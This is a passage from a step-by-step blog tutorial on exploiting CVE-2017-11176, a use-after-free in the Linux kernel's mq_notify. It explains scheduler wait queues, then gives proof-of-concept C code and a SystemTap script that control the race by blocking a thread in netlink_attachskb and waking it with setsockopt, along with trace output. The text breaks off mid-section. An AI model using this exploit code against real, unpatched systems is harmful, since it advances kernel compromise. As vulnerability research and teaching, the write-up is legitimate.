CVE-2017-11176: A step-by-step Linux Kernel exploitation (part 2/4)

Tue 02 October 2018 by **Lexfo** in **Vulnerability**.

Linux Exploit Vulnerability Kernel Step-by-step

Introduction

The previous article provided a detailed analysis of the CVE-2017-11176 bug (aka. "mq_notify: double sock_put()") as well as an attack scenario.

We "forced" the trigger from kernel-land to validate the bug (with the help of System Tap), and built the first version of the exploit (which only reaches the vulnerable code).

It exposed three requirements needed to trigger the bug (and how to satisfy them):

1. Force netlink_attachskb() to return 1
2. Unblock the exploit thread
3. Force the second fget() call to return NULL

In this article, we will try to get rid of the System Tap script and satisfy those requirements using userland code only. By the end of the article, we will have a complete proof-of-concept code that triggers the bug reliably.

Table of Contents

Core Concepts #2

In this second "core concepts" section, the scheduler subsystem will be introduced. The first focus will be on task states and how a task transitions between various states. Note that the actual scheduler algorithm (Completely Fair Scheduler) will not be discussed here.

It emphasizes the **wait queues** as they will be used in this article to unblock a thread, and during the exploit to gain an arbitrary call primitive (cf. part 3).

Task State

The *running* state of a task is stored in the **state** field of a task_struct. A task is basically in one of those states (there are more):

- **Running**: the process is either running or waiting to be run on a cpu
- **Waiting**: the process is waiting/sleeping for an event/resource.

A "running" task (*TASK_RUNNING*) is a task that belongs to a **run queue**. It can either be running on a cpu (right now) or in a near future (if elected by the scheduler).

A "waiting" task is not running on any CPU. It can be woken up with the help of **wait queues** or signals. The most common state for waiting tasks is *TASK_INTERRUPTIBLE* (i.e. "sleeping" can be interrupted).

The various task states are defined here:

```c
// [include/linux/sched.h]

#define TASK_RUNNING        0
#define TASK_INTERRUPTIBLE  1
// ... cut (other states) ...
```

The state field can be manipulated directly or through the **__set_current_state()** helper which uses the "current" macro:

```c
// [include/linux/sched.h]

#define __set_current_state(state_value)            \
    do { current->state = (state_value); } while (0)
```

Run Queues

The **struct rq** (run queue) is one of the most important data structure for the scheduler. Every task that is in a run queue will be executed by a CPU. Every CPU has it own run queue (allowing true multi-tasking). It holds the list of tasks which are "electable" (by the scheduler) to run on a given CPU. It also has statistics used by the scheduler to make "fair" choices, and eventually rebalance the load between each cpu (i.e. cpu migration).

```c
// [kernel/sched.c]

struct rq {
  unsigned long nr_running;   // <----- statistics
  u64 nr_switches;            // <----- statistics
  struct task_struct *curr;   // <----- the current running task on the cpu
  // ...
};
```

NOTE: With the "Completely Fair Scheduler (CFS)", the way the actual task list is stored is a bit complex but it does not matter here.

To keep it simple, consider that a task moved out of any run queue will not be executed (i.e. there is no CPU to execute it). This is exactly what the **deactivate_task()** function does. On the contrary, **activate_task()** does the exact opposite (it moves task into a run queue).

Blocking a task and the schedule() function

When a task wants to transition from a running state to a waiting state it has to do at least two things:

1. Set its own *running* state to TASK_INTERRUPTIBLE
2. Invoke deactivate_task() to move out of its run queue

In practice, no one calls deactivate_task() directly. Instead, **schedule()** is invoked (see below).

The schedule() function is the main function of the scheduler. When schedule() is invoked, the next (running) task must be elected to run on the CPU. That is, the **curr** field of a run queue must be updated.

However, if schedule() is called while the current task state is not running (i.e. its state is different from zero), and no signals are pending, it will call deactivate_task():

```c
      asmlinkage void __sched schedule(void)
      {
        struct task_struct *prev, *next;
        unsigned long *switch_count;
        struct rq *rq;
        int cpu;

          // ... cut ...

        prev = rq->curr;    // <---- "prev" is the task running on the current CPU

        if (prev->state && !(preempt_count() & PREEMPT_ACTIVE)) {   // <----- ignore the "preem
pt" stuff
          if (unlikely(signal_pending_state(prev->state, prev)))
            prev->state = TASK_RUNNING;
          else
            deactivate_task(rq, prev, DEQUEUE_SLEEP);     // <----- task is moved out of run qu
eue
          switch_count = &prev->nvcsw;
        }

        // ... cut (choose the next task) ...
      }
```

In the end, a task can block by doing the following sequence:

```
void make_it_block(void)
{
  __set_current_state(TASK_INTERRUPTIBLE);
  schedule();
}
```

The task will stay blocked until *something else* wakes it up.

Wait Queues

Waiting for a resource or a special event is very common. For instance, if you run a server, the main thread might be waiting for incoming connections. Unless it is marked as "non blocking", the accept() syscall will block the main thread. That is, the main thread is stuck in kernel land until *something else* wakes it up.

A **wait queue** is basically a doubly linked list of processes that are currently blocked (*waiting*). One might see it as the "opposite" of run queues. The queue itself is represented with **wait_queue_head_t**:

```
// [include/linux/wait.h]

typedef struct __wait_queue_head wait_queue_head_t;

struct __wait_queue_head {
    spinlock_t lock;
    struct list_head task_list;
};
```

NOTE: The **struct list_head** type is how Linux implements doubly linked list.

Each element of the wait queue has the type **wait_queue_t**:

```
// [include/linux.wait.h]

typedef struct __wait_queue wait_queue_t;
typedef int (*wait_queue_func_t)(wait_queue_t *wait, unsigned mode, int flags, void *key);

struct __wait_queue {
    unsigned int flags;
    void *private;
    wait_queue_func_t func;     // <----- we will get back to this
    struct list_head task_list;
};
```

A wait queue element can be created with the **DECLARE_WAITQUEUE()** macro...

```
// [include/linux/wait.h]

#define __WAITQUEUE_INITIALIZER(name, tsk) {                \
    .private    = tsk,                          \
    .func       = default_wake_function,            \
    .task_list  = { NULL, NULL } }

#define DECLARE_WAITQUEUE(name, tsk)                    \
    wait_queue_t name = __WAITQUEUE_INITIALIZER(name, tsk) // <----- it creates a variable!
```

...which is invoked like this:

```
DECLARE_WAITQUEUE(my_wait_queue_elt, current); // <----- use the "current" macro
```

Finally, once a wait queue element is declared, it can be queued into a wait queue with the function **add_wait_queue()**. It basically just adds the element into the doubly linked list with proper *locking* (do not worry about it for now).

```
// [kernel/wait.c]

void add_wait_queue(wait_queue_head_t *q, wait_queue_t *wait)
{
    unsigned long flags;

    wait->flags &= ~WQ_FLAG_EXCLUSIVE;
    spin_lock_irqsave(&q->lock, flags);
    __add_wait_queue(q, wait);              // <----- here
    spin_unlock_irqrestore(&q->lock, flags);
}

static inline void __add_wait_queue(wait_queue_head_t *head, wait_queue_t *new)
{
    list_add(&new->task_list, &head->task_list);
}
```

Invoking **add_wait_queue()** is also called "registering to a wait queue".

Waking up a task

So far, we know that there are two kinds of queues: run queues and wait queues. We saw that blocking a task is all about removing it from a run queue (with deactivate_task()). But how can it transition from the blocked (sleeping) state back to the running state?

NOTE: Blocked task can be woken up through signals (and other means), but this is out-of-topic here.

Since a blocked task is not running anymore, **it can't wake up itself**. This needs to be done from **another task**.

Data structures which have the ownership of a particular resource have a wait queue. When a task wants to access this resource but it is not available at the moment, the task can put itself in a sleeping state until woken up by the resource's owner.

In order to be woken up when the resource becomes available, it has to register to the resource's wait queue. As we saw earlier, this "registration" is made with the **add_wait_queue()** call.

When the resource becomes available, the owner wakes one or more tasks so they can continue their executions. This is done with the **__wake_up()** function:

```
// [kernel/sched.c]

/**
 * __wake_up - wake up threads blocked on a waitqueue.
 * @q: the waitqueue
 * @mode: which threads
 * @nr_exclusive: how many wake-one or wake-many threads to wake up
 * @key: is directly passed to the wakeup function
 *
 * It may be assumed that this function implies a write memory barrier before
 * changing the task state if and only if any tasks are woken up.
 */

void __wake_up(wait_queue_head_t *q, unsigned int mode,
            int nr_exclusive, void *key)
{
    unsigned long flags;

    spin_lock_irqsave(&q->lock, flags);
    __wake_up_common(q, mode, nr_exclusive, 0, key);    // <----- here
    spin_unlock_irqrestore(&q->lock, flags);
}
```

```
    // [kernel/sched.c]

    static void __wake_up_common(wait_queue_head_t *q, unsigned int mode,
          int nr_exclusive, int wake_flags, void *key)
    {
      wait_queue_t *curr, *next;

[0]   list_for_each_entry_safe(curr, next, &q->task_list, task_list) {
        unsigned flags = curr->flags;

[1]     if (curr->func(curr, mode, wake_flags, key) &&
            (flags & WQ_FLAG_EXCLUSIVE) && !--nr_exclusive)
          break;
      }
    }
```

This function iterates over every element in the wait queue [0] (**list_for_each_entry_safe()** is a common macro used with doubly linked list). For each element, it invokes the **func()** callback [1].

Remember the DECLARE_WAITQUEUE() macro? It sets the func callback to **default_wake_function()**:

```
// [include/linux/wait.h]

#define __WAITQUEUE_INITIALIZER(name, tsk) {                \
    .private    = tsk,                          \
    .func       = default_wake_function,            \                // <------
    .task_list  = { NULL, NULL } }

#define DECLARE_WAITQUEUE(name, tsk)                    \
    wait_queue_t name = __WAITQUEUE_INITIALIZER(name, tsk)
```

In turn, the default_wake_function() just calls **try_to_wake_up()** using the **private** field of the wait queue element (which points to the sleeping's *task_struct* most of the time):

```
int default_wake_function(wait_queue_t *curr, unsigned mode, int wake_flags,
              void *key)
{
    return try_to_wake_up(curr->private, mode, wake_flags);
}
```

Finally, try_to_wake_up() is kind of the "opposite" of schedule(). While schedule() "schedules-out" the current task, try_to_wake_up() makes it schedulable again. That is, it puts it in a run queue and changes its running state!

```
static int try_to_wake_up(struct task_struct *p, unsigned int state,
              int wake_flags)
{
    struct rq *rq;

    // ... cut (find the appropriate run queue) ...

out_activate:
    schedstat_inc(p, se.nr_wakeups);              // <----- update some stats
    if (wake_flags & WF_SYNC)
        schedstat_inc(p, se.nr_wakeups_sync);
    if (orig_cpu != cpu)
        schedstat_inc(p, se.nr_wakeups_migrate);
    if (cpu == this_cpu)
        schedstat_inc(p, se.nr_wakeups_local);
    else
        schedstat_inc(p, se.nr_wakeups_remote);
    activate_task(rq, p, en_flags);               // <----- put it back to run queue!
    success = 1;

    p->state = TASK_RUNNING;                      // <----- the state has changed!

    // ... cut ...
}
```

This is where **activate_task()** is invoked (there are other places). Because the task is now back in a run queue **and** its state is TASK_RUNNING, it has a chance of being scheduled. Hence, continue its execution where it was after the call to schedule().

In practice, __wake_up() is rarely called directly. Instead, those helper macros are invoked:

```
// [include/linux/wait.h]

#define wake_up(x)          __wake_up(x, TASK_NORMAL, 1, NULL)
#define wake_up_nr(x, nr)       __wake_up(x, TASK_NORMAL, nr, NULL)
#define wake_up_all(x)          __wake_up(x, TASK_NORMAL, 0, NULL)

#define wake_up_interruptible(x)    __wake_up(x, TASK_INTERRUPTIBLE, 1, NULL)
#define wake_up_interruptible_nr(x, nr) __wake_up(x, TASK_INTERRUPTIBLE, nr, NULL)
#define wake_up_interruptible_all(x)    __wake_up(x, TASK_INTERRUPTIBLE, 0, NULL)
```

A Complete Example

Here is a simple example to summarize the aforementioned concepts:

```c
struct resource_a {
  bool resource_is_ready;
  wait_queue_head_t wq;
};

void task_0_wants_resource_a(struct resource_a *res)
{
  if (!res->resource_is_ready) {
    // "register" to be woken up
    DECLARE_WAITQUEUE(task0_wait_element, current);
    add_wait_queue(&res->wq, &task0_wait_element);

    // start sleeping
    __set_current_state(TASK_INTERRUPTIBLE);
    schedule();

    // We'll restart HERE once woken up
    // Remember to "unregister" from wait queue
  }

  // XXX: ... do something with the resource ...
}

void task_1_makes_resource_available(struct resource_a *res)
{
  res->resource_is_ready = true;
  wake_up_interruptible_all(&res->wq);  // <--- unblock "task 0"
}
```

One thread runs the *task_0_wants_resource_a()* function which becomes blocking because the "resource" is not available. At some point, the resource owner makes it available (from another thread) and calls *task_1_makes_resource_available()*. After this, the execution of task_0_wants_resource_a() can resume.

This is a pattern that you will often see in the Linux Kernel code, you now know what it means. Note that the term "resource" has been used here in a generic way. Tasks can wait for an event, a condition to be true or something else. Every time you see a "blocking" syscall, chances are a wait queue is not that far :-).

Let's move on and start implementing the proof-of-concept.

Unblocking the Main Thread

In the previous article, we experimented several issues while trying to force netlink_attachskb() to return 1. The first issue was the call to mq_notify() that became **blocking**. In order to avoid this, we simply *bypassed* the call to schedule_timeout() but then, we created an **infinite loop**. We stopped the loop by removing our target file descriptor from the file descriptor table (FDT), which incidentally satisfied the last condition: it makes the second fget() call return NULL. This was done with the help of a System Tap script:

```
    function force_trigger:long (arg_sock:long)
    %{
      struct sock *sk = (void*) STAP_ARG_arg_sock;
[0]   sk->sk_flags |= (1 << SOCK_DEAD); // avoid blocking the thread

      struct netlink_sock *nlk = (void*) sk;
      nlk->state |= 1;   // enter the netlink_attachskb() retry path

      struct files_struct *files = current->files;
      struct fdtable *fdt = files_fdtable(files);
      fdt->fd[3] = NULL; // makes the second call to fget() fails
    %}
```

In this section, we will try to remove the line [0] that sets the SOCK_DEAD flag of a struct sock. It means that the call of mq_notify() will become blocking again. From here, we have two possibilities:

1. Mark the sock as SOCK_DEAD (as the stap script does)
2. Unblock the thread

Control (and win) the race

Having our main thread blocked is actually **a good thing**. This is kind of a gift from an exploiter point-of-view. Remember that the patch described something about a "small window"? What was our attack scenario?

```
Thread-1                            | Thread-2              | file refcnt | sock refcnt | sock
 ptr           |
------------------------------------+-----------------------+-------------+-------------+------
--------------+
 mq_notify()                        |                       | 1           | 1           | NULL
              |
                                    |                       |             |             |
              |
  fget(<TARGET_FD>) -> ok           |                       | 2 (+1)      | 1           | NULL
              |
                                    |                       |             |             |
              |
  netlink_getsockbyfilp() -> ok     |                       | 2           | 2 (+1)      | 0xfff
fffc0aabbccdd |
                                    |                       |             |             |
              |
  fput(<TARGET_FD>) -> ok           |                       | 1 (-1)      | 2           | 0xfff
fffc0aabbccdd |
                                    |                       |             |             |
              |
  netlink_attachskb() -> returns 1  |                       | 1           | 1 (-1)      | 0xfff
fffc0aabbccdd |
                                    |                       |             |             |
              |
                                    | close(<TARGET_FD>)    | 0 (-1)      | 0 (-1)      | 0xfff
fffc0aabbccdd |
                                    |                       |             |             |
              |
  goto retry                        |                       | FREE        | FREE        | 0xfff
fffc0aabbccdd |
                                    |                       |             |             |
              |
  fget(<TARGET_FD) -> returns NULL  |                       | FREE        | FREE        | 0xfff
fffc0aabbccdd |
                                    |                       |             |             |
              |
  goto out                          |                       | FREE        | FREE        | 0xfff
fffc0aabbccdd |
                                    |                       |             |             |
              |
  netlink_detachskb() -> UAF!       |                       | FREE        | (-1) in UAF | 0xfff
fffc0aabbccdd |
```

So, the "small window" is where we have the opportunity to call close(). As a reminder, calling close() will make the call to fget() return NULL. The window itself starts **after** the call to fget() succeeds, and stops **before** the second call to fget(). In the attack scenario, we call close() after netlink_attachskb(), but in the system stap script we actually *simulated* it (we don't call close) before calling netlink_attachskb().

If we by-pass the call to schedule_timeout(), the window will be indeed "small". It was not an issue with System Tap, since we modified the kernel data structure before calling netlink_attachskb(). We won't have such luxury in userland.

On the other hand, if we can block in the middle of netlink_attachskb() and have a way to unlock it, the window is actually as big as we want. In other words, we have a means to **control the race condition**. One can see this as a "breakpoint" in the main thread flow.

The Attack Plan becomes:

```
Thread-1                              | Thread-2              | file refcnt | sock refcnt | sock
 ptr           |
--------------------------------------+-----------------------+-------------+-------------+------
--------------+
 mq_notify()                          |                       | 1           | 1           | NULL
              |
  fget(<TARGET_FD>) -> ok             |                       | 2 (+1)      | 1           | NULL
              |
                                      |                       |             |             |
              |
  netlink_getsockbyfilp() -> ok       |                       | 2           | 2 (+1)      | 0xfff
fffc0aabbccdd |
                                      |                       |             |             |
              |
  fput(<TARGET_FD>) -> ok             |                       | 1 (-1)      | 2           | 0xfff
fffc0aabbccdd |
                                      |                       |             |             |
              |
  netlink_attachskb()                 |                       | 1           | 2           | 0xfff
fffc0aabbccdd |
                                      |                       |             |             |
              |
    schedule_timeout() -> SLEEP       |                       | 1           | 2           | 0xfff
fffc0aabbccdd |
                                      |                       |             |             |
              |
                                      | close(<TARGET_FD>)    | 0 (-1)      | 1 (-1)      | 0xfff
fffc0aabbccdd |
                                      |                       |             |             |
              |
                                      | UNBLOCK THREAD-1      | FREE        | 1           | 0xfff
fffc0aabbccdd |
    <<< Thread-1 wakes up >>>         |                       |             |             |
              |
    sock_put()                        |                       | FREE        | 0 (-1)      | 0xfff
fffc0aabbccdd |
                                      |                       |             |             |
              |
  netlink_attachskb() -> returns 1    |                       | FREE        | FREE        | 0xfff
fffc0aabbccdd |
                                      |                       |             |             |
              |
  goto retry                          |                       | FREE        | FREE        | 0xfff
fffc0aabbccdd |
                                      |                       |             |             |
              |
  fget(<TARGET_FD) -> returns NULL    |                       | FREE        | FREE        | 0xfff
fffc0aabbccdd |
                                      |                       |             |             |
              |
  goto out                            |                       | FREE        | FREE        | 0xfff
fffc0aabbccdd |
                                      |                       |             |             |
              |
  netlink_detachskb() -> UAF!         |                       | FREE        | (-1) in UAF | 0xfff
fffc0aabbccdd |
```

Alright, blocking the main thread seems to be a good idea to win the race, but it means we now need to unblock the thread.

Identify "unblocker" candidates

If you didn't understand the "Core Concept #2" section by now, it might be the time to get back to it. In this section, we will see how netlink_attachskb() starts blocking and how can we unblock it.

Let's have a look again to netlink_attachskb():

```
   // [net/netlink/af_netlink.c]

   int netlink_attachskb(struct sock *sk, struct sk_buff *skb,
             long *timeo, struct sock *ssk)
   {
     struct netlink_sock *nlk;

     nlk = nlk_sk(sk);

     if (atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state)) {
[0]    DECLARE_WAITQUEUE(wait, current);

       if (!*timeo) {
         // ... cut (unreachable code from mq_notify) ...
       }

[1]    __set_current_state(TASK_INTERRUPTIBLE);
[2]    add_wait_queue(&nlk->wait, &wait);

[3]    if ((atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state)) &&
           !sock_flag(sk, SOCK_DEAD))
[4]      *timeo = schedule_timeout(*timeo);

[5]    __set_current_state(TASK_RUNNING);
[6]    remove_wait_queue(&nlk->wait, &wait);

       sock_put(sk);

       if (signal_pending(current)) {
         kfree_skb(skb);
         return sock_intr_errno(*timeo);
       }
       return 1;
     }
     skb_set_owner_r(skb, sk);
     return 0;
   }
```

The code should now sound familiar. The combination of **__set_current_state(TASK_INTERRUPTIBLE)** [1] and **schedule_timeout()** [4] is what makes the thread blocking. The condition [3] is true because:

- We forced it with System Tap: *nlk->state |= 1*
- The sock is not DEAD anymore, we removed this line: *sk->sk_flags |= (1 << SOCK_DEAD)*

NOTE: The call schedule_timeout(MAX_SCHEDULE_TIMEOUT) is really equivalent to calling schedule().

As we know, a blocked thread can be woken up if it has registered to a **wake queue**. This registration is made with [0] and [2], whilst the unregistration is done in [6]. The wait queue itself is **nlk->wait**. That is, it belongs to the netlink_sock object:

```
struct netlink_sock {
    /* struct sock has to be the first member of netlink_sock */
    struct sock     sk;
  // ... cut ...
    wait_queue_head_t   wait;          // <----- the wait queue
  // ... cut ...
};
```

This means, **it is the netlink_sock object responsibility to wake up the blocked thread(s)**.

The *nlk->wait* wait queue is actually used in four places:

1. __netlink_create()
2. netlink_release()
3. netlink_rcv_wake()
4. netlink_setsockopt()

Function __netlink_create() is called during netlink socket creation. It initializes an empty wait queue with **init_waitqueue_head()**.

Function *netlink_rcv_wake()* is invoked by **netlink_recvmsg()** and calls **wake_up_interruptible()**. It actually makes sense since the first reason to *block* was because the receive buffer is full. If *netlink_recvmsg()* is invoked, then there are chances that there is now more room in the receive buffer.

Function *netlink_release()* is invoked when the associated struct file is about to be freed (refcounter drops down to zero). It invokes **wake_up_interruptible_all()**.

Finally, *netlink_setsockopt()* is invoked through syscall *setsockopt()*. If the "optname" is **NETLINK_NO_ENOBUFS**, then **wake_up_interruptible()** is called.

So, we have three candidates to wake up our thread (__netlink_create() excluded as it does not wake up anything). When facing such a choice, you want a path that:

- Quickly reaches the desired target (wake_up_interruptible() in our case). That is, a small call trace, a few "conditions" to pass...
- Has little impacts/side-effects on the kernel (no memory allocation, don't touch other data structures...)

The netlink_release() path is excluded for exploitation reasons. As you will see in part 3, we do not want to free the struct file associated to the sock because it is our mean to trigger the use-after-free in a controlled manner.

The netlink_rcv_wake() path is the most "complex" one. Before reaching it from a "recvmsg()" syscall, we need to pass several checks in the *generic* socket API. It also allocates various things, etc. The call trace is:

```
- SYSCALL_DEFINE3(recvmsg)
- __sys_recvmsg
- sock_recvmsg
- __sock_recvmsg
- __sock_recvmsg_nosec  // calls sock->ops->recvmsg()
- netlink_recvmsg
- netlink_rcv_wake
- wake_up_interruptible
```

In comparison, the call trace for "setsockopt()" is:

```
- SYSCALL_DEFINE5(setsockopt) // calls sock->ops->setsockopt()
- netlink_setsockopt()
- wake_up_interruptible
```

Much simpler, isn't it?

Reaching wake_up_interruptible() from setsockopt syscall

In the previous section, we saw that reaching wake_up_interruptible() from setsockopt syscall was the simplest way. Let's analyze the checks that need to be passed:

```
    // [net/socket.c]

    SYSCALL_DEFINE5(setsockopt, int, fd, int, level, int, optname,
        char __user *, optval, int, optlen)
    {
      int err, fput_needed;
      struct socket *sock;

[0]   if (optlen < 0)
        return -EINVAL;

      sock = sockfd_lookup_light(fd, &err, &fput_needed);
[1]   if (sock != NULL) {
        err = security_socket_setsockopt(sock, level, optname);
[2]     if (err)
          goto out_put;

[3]     if (level == SOL_SOCKET)
          err =
              sock_setsockopt(sock, level, optname, optval,
                  optlen);
        else
          err =
[4]           sock->ops->setsockopt(sock, level, optname, optval,
                  optlen);
    out_put:
        fput_light(sock->file, fput_needed);
      }
      return err;
    }
```

From the syscall itself, we need:

- [0] - **optlen** is not negative
- [1] - the **fd** should be a valid socket
- [2] - LSM **must** allow us to call setsockopt() for a socket
- [3] - **level** is different from SOL_SOCKET

If we pass all those checks, it will call netlink_setsockopt() [4]:

```
    // [net/netlink/af_netlink.c]

    static int netlink_setsockopt(struct socket *sock, int level, int optname,
                char __user *optval, unsigned int optlen)
    {
      struct sock *sk = sock->sk;
      struct netlink_sock *nlk = nlk_sk(sk);
      unsigned int val = 0;
      int err;

[5]   if (level != SOL_NETLINK)
        return -ENOPROTOOPT;

[6]   if (optlen >= sizeof(int) && get_user(val, (unsigned int __user *)optval))
        return -EFAULT;

      switch (optname) {
        // ... cut (other options) ...

[7]   case NETLINK_NO_ENOBUFS:
[8]     if (val) {
          nlk->flags |= NETLINK_RECV_NO_ENOBUFS;
          clear_bit(0, &nlk->state);
[9]       wake_up_interruptible(&nlk->wait);
        } else
          nlk->flags &= ~NETLINK_RECV_NO_ENOBUFS;
        err = 0;
        break;
      default:
        err = -ENOPROTOOPT;
      }
      return err;
    }
```

The additional checks are:

- [5] - **level** must be SOL_NETLINK
- [6] - **optlen** must be greater or equal *sizeof(int)* and **optval** should be a readable memory location
- [7] - **optname** must be NETLINK_NO_ENOBUFS
- [8] - **val** must be different from zero

If we pass all checks, wake_up_interruptible() will be invoked which will wake up the blocked thread. In the end, the following snippet does the job of invoking it:

```
int sock_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_GENERIC); // same socket used by blocking
 thread
int val = 3535; // different than zero
_setsockopt(sock_fd, SOL_NETLINK, NETLINK_NO_ENOBUFS, &val, sizeof(val));
```

Let's integrate this in our exploit.

Updating The Exploit

In the previous section, we saw how to invoke wake_up_interruptible() from userland with the help of the setsockopt() syscall. There is one problem however: how to call anything if we are blocking? **Answer: use multiple threads**!

So, let's create another thread (called **unblock_thread** in the exploit), and update the exploit (compile with "-pthread"):

```c
struct unblock_thread_arg
{
  int fd;
  bool is_ready;  // we could use pthread's barrier here instead
};

static void* unblock_thread(void *arg)
{
  struct unblock_thread_arg *uta = (struct unblock_thread_arg*) arg;
  int val = 3535; // need to be different than zero

  // notify the main thread that the unblock thread has been created
  uta->is_ready = true;
  // WARNING: the main thread *must* directly call mq_notify() once notified!
  sleep(5); // gives some time for the main thread to block

  printf("[unblock] unblocking now\n");
  if (_setsockopt(uta->fd, SOL_NETLINK, NETLINK_NO_ENOBUFS, &val, sizeof(val)))
    perror("setsockopt");
  return NULL;
}

int main(void)
{
  struct sigevent sigev;
  char sival_buffer[NOTIFY_COOKIE_LEN];
  int sock_fd;
  pthread_t tid;
  struct unblock_thread_arg uta;

  // ... cut ...

  // initialize the unblock thread arguments, and launch it
  memset(&uta, 0, sizeof(uta));
  uta.fd = sock_fd;
  uta.is_ready = false;
  printf("creating unblock thread...\n");
  if ((errno = pthread_create(&tid, NULL, unblock_thread, &uta)) != 0)
  {
    perror("pthread_create");
    goto fail;
  }
  while (uta.is_ready == false) // spinlock until thread is created
    ;
  printf("unblocking thread has been created!\n");

  printf("get ready to block\n");
  if (_mq_notify((mqd_t)-1, &sigev))
  {
    perror("mq_notify");
    goto fail;
  }
  printf("mq_notify succeed\n");

  // ... cut ...
}
```

One might notice that we called "sleep(5)" and did something with the "uta->is_ready". Let's explain them.

Calling **pthread_create()** is a request to create a thread (i.e. a new task_struct) and launch it. Creating the task does not mean that the task will run right now. In order to be sure that the thread has started to run we use a **spinlock**: uta->is_ready.

NOTE: Spinlocks are the simplest form of (active) locking. It basically loops until a variable state changes. This is "active" because the CPU is used at 99% during this time. One might want to use atomic-like variable, this is not required here as there are only one writer and one reader.

WARNING: Be careful with "unlock" (spinlock) and "unblock" (wake up) in the next sections!

The main thread is stuck in a loop until the unblock_thread unlocks it (set 'is_ready' to true). The same thing could be achieved with pthread's barrier (it is not always available). Note that spinlocking here is optional, it just gives "more control" over thread creation. Another reason is that task creation might imply a lot of memory allocations that disturb exploits in general. Finally, the very same technique will be required in part 3, so why not introducing it here.

On the other hand, let's assume that after pthread_create() our main thread becomes preempted for a "long" period of time (i.e. not executed). We might have the following sequence:

```
Thread-1           | Thread-2
-------------------+--------------------------
                   |
pthread_create()   |
                   | <<< new task created >>>
<<< preempted >>>  |
                   | <<< thread starts >>>
<<< still...       |
 ...preempted >>>  | setsockopt() -> succeed
                   |
mq_notify()        |
=> start BLOCKING  |
```

In this scenario, the call to "setsockopt()" is made before mq_notify is blocking. That is, it **won't** unblock the main thread. This is the reason of **sleep(5)** after unlocking the main thread ('is_ready' is true). In other words, it gives at least 5 seconds to "just" call mq_notify(). You can safely assume that "5 seconds" is enough because:

- If the main thread is still preempted after 5 seconds, the targeted system is under heavy loads, you shouldn't run the exploit anyway.
- If the unblock_thread "race" the main thread (setsockopt() before mq_notify()) then we can always send a CTRL+C command. Doing so makes netlink_attachskb() return "-ERESTARTSYS". The bug is not triggered in that path. We can retry the exploit.

In other words, the "controlled windows" duration is now 5 seconds. One might think, this is a bit ugly, the problem is: the main thread has no way to notify the other to wake it up because it is not running (cf. core concept #2). Maybe the unblock_thread might poll some information in some way? Well... the sleep(5) trick is enough here :-).

Updating the STAP Script

Alright, before running the new exploit, we need to edit our stap scripts. Right now, we remove the netlink socket (fd=3) **before** calling netlink_attachskb(). It means that if we call setsockopt() after entering netlink_attachskb(), the file descriptor *sock_fd* will be invalid (it points to NULL in the FDT). That is, setsockopt() will simply fail with a "Bad File Descriptor" error (i.e. we won't even reach *netlink_setsockopt()*).

So, let's remove the fd "3" in the FDT while returning from netlink_attachskb(), not before:

```
# mq_notify_force_crash.stp
#
# Run it with "stap -v -g ./mq_notify_force_crash.stp" (guru mode)

%{
#include <net/sock.h>
#include <net/netlink_sock.h>
#include <linux/fdtable.h>
%}

function force_trigger_before:long (arg_sock:long)
%{
  struct sock *sk = (void*) STAP_ARG_arg_sock;
  struct netlink_sock *nlk = (void*) sk;
  nlk->state |= 1;   // enter the netlink_attachskb() retry path

  // NOTE: We do not mark the sock as DEAD anymore
%}

function force_trigger_after:long (arg_sock:long)
%{
  struct files_struct *files = current->files;
  struct fdtable *fdt = files_fdtable(files);
  fdt->fd[3] = NULL; // makes the second call to fget() fails
%}


probe kernel.function ("netlink_attachskb")
{
  if (execname() == "exploit")
  {
    force_trigger_before($sk);
  }
}

probe kernel.function ("netlink_attachskb").return
{
  if (execname() == "exploit")
  {
    force_trigger_after(0);
  }
}
```

As always, add some more probes so we can see the code flowing. This gives us the following output:

```
$ ./exploit
-={ CVE-2017-11176 Exploit }=-
netlink socket created = 3
creating unblock thread...
unblocking thread has been created!
get ready to block

<<< we get stuck here during ~5secs >>>

[unblock] unblocking now
mq_notify: Bad file descriptor
exploit failed!

(15981-15981) [SYSCALL] ==>> mq_notify (-1, 0x7fffbd130e30)
(15981-15981) [uland] ==>> copy_from_user ()
(15981-15981) [skb] ==>> alloc_skb (priority=0xd0 size=0x20)
(15981-15981) [uland] ==>> copy_from_user ()
(15981-15981) [skb] ==>> skb_put (skb=0xffff8800302551c0 len=0x20)
(15981-15981) [skb] <<== skb_put = ffff88000a015600
(15981-15981) [vfs] ==>> fget (fd=0x3)
(15981-15981) [vfs] <<== fget = ffff8800314869c0
(15981-15981) [netlink] ==>> netlink_getsockbyfilp (filp=0xffff8800314869c0)
(15981-15981) [netlink] <<== netlink_getsockbyfilp = ffff8800300ef800
(15981-15981) [netlink] ==>> netlink_attachskb (sk=0xffff8800300ef800 skb=0xffff8800302551c0 ti
meo=0xffff88000b157f40 ssk=0x0)
(15981-15981) [sched] ==>> schedule_timeout (timeout=0x7fffffffffffffff)
(15981-15981) [sched] ==>> schedule ()
(15981-15981) [sched] ==>> deactivate_task (rq=0xffff880003c1f3c0 p=0xffff880031512200 flags=0x
1)
(15981-15981) [sched] <<== deactivate_task =

<<< we get stuck here during ~5secs >>>

(15981-15981) [sched] <<== schedule =
(15981-15981) [sched] <<== schedule_timeout = 7fffffffffffffff
(15981-15981) [netlink] <<== netlink_attachskb = 1              // <----- returned 1
(15981-15981) [vfs] ==>> fget (fd=0x3)
(15981-15981) [vfs] <<== fget = 0                               // <----- returned 0
(15981-15981) [netlink] ==>> netlink_detachskb (sk=0xffff8800300ef800 skb=0xffff8800302551c0)
(15981-15981) [netlink] <<== netlink_detachskb
(15981-15981) [SYSCALL] <<== mq_notify= -9
```

NOTE: The other thread traces have been removed for clarity.

Perfect! We stay stuck inside netlink_attachskb() during 5 seconds, we unblock it from the other thread and it returns 1 (as expected)!

In this section, we saw how to control the race and extend the window indefinitely (we reduced it to 5 seconds). Then we saw how to wake up the main thread by using setsockopt(). We also covered a "race" that could happen in our exploit (uh!) and we saw how we could reduce its occurrence probability with a simple trick. Finally, we removed one of the requirements implemented by the stap script (mark the SOCK as dead) using only user-land code. There are still two more requirements to implement.

Making *fget()* Fail on Second Loop

So far, we implemented one of the three requirements in userland. Here is our TODO list:

1. **Force netlink_attachskb() to return 1**
2. [DONE] Unblock the exploit thread
3. **Force the second fget() call to return NULL**

In this section, we will try to force the second fget() call to return NULL. It will allow to go to the "exit path" during the second loop:

```
retry:
            filp = fget(notification.sigev_signo);
            if (!filp) {
